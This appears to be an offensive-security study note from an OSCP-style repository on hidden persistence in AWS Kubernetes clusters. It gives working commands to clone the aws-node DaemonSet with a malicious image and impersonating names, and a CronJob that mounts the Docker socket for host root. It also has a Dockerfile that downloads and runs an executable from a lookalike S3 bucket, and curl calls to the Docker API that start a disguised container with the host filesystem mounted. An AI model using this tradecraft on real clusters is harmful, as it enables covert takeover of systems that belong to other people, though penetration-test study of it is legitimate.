oscp/Necronomicon/Cloud/Kubernetes/Persistence.md

• Use redundant means in cloud and Kubernetes environments, since the instances/nodes/pods/etc. are constantly in flux.

• Stable -> spinning up a malicious pod

• Unstable -> running executable inside a current pod or on a cloud node

• Useful names for container/pods/bucket to blend in:

  • Container - amazon-k8s-cni - Mimics legitimate Amazon image
  • S3 bucket - (amazon-cni-plugin-essentials - Blends in with more legit Amazon infra

• Persistence within AWS Kubernetes is most convenient by spinning up a new pod of the DaemonSet, aws-node variety

  • Service account is automatically given read-only access to everything
  • All containers mount the docker socket for easy root access to the host
  • Caveat: make sure to limit the nodes this runs on; by default DaemonSet runs on every node
  • Create:
    1. Pull the manifest of the existing, normal DaemonSet
       • kubectl get DaemonSet aws-node -o yaml -n kube-system > aws-ds-manifest.yaml
    2. Change the location of the image to location of malicious image
       • sed -E "s/image: .*/image: 886477354405.dkr.ecr.eu-west-1.amazonaws.com/amazon-k8s-cni:v1.5.3/g" -i aws-ds-manifest.yaml
    3. Change the name of the DaemonSet to avoid conflicting with the existing, normal DaemonSet
       • sed "s/ name: aws-node/ name: aws-node-cni/g" -i aws-ds-manifest.yaml
    4. Replace host and container port to avoid conflict
       • sed -E "s/Port: [0-9]+/Port: 12711/g" -i aws-ds-manifest.yaml
    5. Update node label key and value - specify which nodes should run the pod
       • sed "s/ key: beta.kubernetes.io\/os/ key: service/g" -i aws-ds-manifest.yaml
       • sed "s/ linux/ kafka-broker-collector/g" -i aws-ds-manifest.yaml
    6. Push new manifest to the cluster
       • kubectl -f apply -n kube-system aws-ds-manifest.yaml
  • Can also use ReplicaSet
    • This would allow us to use aws-node as the name since they would belong to a different Kubernetes object than DaemonSet

• Cron job

  • Can be implemented at the cluster level to spin up a pod at a certain time or under certain conditions
  • For additional stealth, the cron pod can be used to contact the Docker socket and spin up a new container in which to run the malicious code, allowing the cron pod to terminate gracefully.
    • Advantage of this is it is set up separate from Kubernetes and invisible to the cluster.
    • Use a container name that mimics the typical "pause" containers - there are always many running

• Kubernetes mutating webhook - post v1.15

  • Look into this
  • Writing a very basic Kubernetes mutating admission webhook

• Example Dockerfile to download and run an arbitrary executable within Alpine container

FROM alpine
CMD ["/bin/sh", "-c", "wget https://amazon-cni-plugin-essentials.s3.amazonaws.com/run -O /root/run && chmod +x /root/run && /root/run"]

• Example manifest file for persistence cron:

apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: metrics-collect
spec:
  schedule: "0 10 * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: metrics-collect
            image: 882347352467.dkr.ecr.eu-west-1.amazonaws.com/amazon-metrics-collector
            volumeMounts:
            - mountPath: /var/run/docker.sock
              name: dockersock
          volumes:
          - name: dockersock
            hostPath:
              path: /var/run/docker.sock
          restartPolicy: Never

• Example Docker image for persistence cron:

FROM debian: buster-slim
RUN apt update && apt install -y git make
RUN apt install -y prometheus-varnish-exporter
COPY init.sh /var/run/init.sh
ENTRYPOINT ["/var/run/init.sh"]

• Script to pull image, create a container, and start a container independent of Kubernetes (update image paths and such):

# Pull the image from the ECR registry
curl \
 --silent \
 --unix-socket /var/run/docker.sock \
 "http://docker/images/create?fromImage=881445392307.dkr.ecr.eu-west\
 -1.amazonaws.com/pause-amd64" \
 -X POST
# Create the container from the image and mount the / directory
curl \
 --silent \
 --unix-socket /var/run/docker.sock \
 "http://docker/containers/create?name=pause-go-amd64-4413" \
 -X POST \
 -H "Content-Type: application/json" \
 -d '{ "Image": "881445392307.dkr.ecr.eu-west-1.amazonaws.com/pause-amd64",\
 "Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}'
# Start the container
curl \
 --silent \
 --unix-socket /var/run/docker.sock \
 "http://docker/containers/pause-go-amd64-4413/start" \
 -X POST \
 -H "Content-Type: application/json" \
 --output /dev/null \
 --write-out "%{http_code}"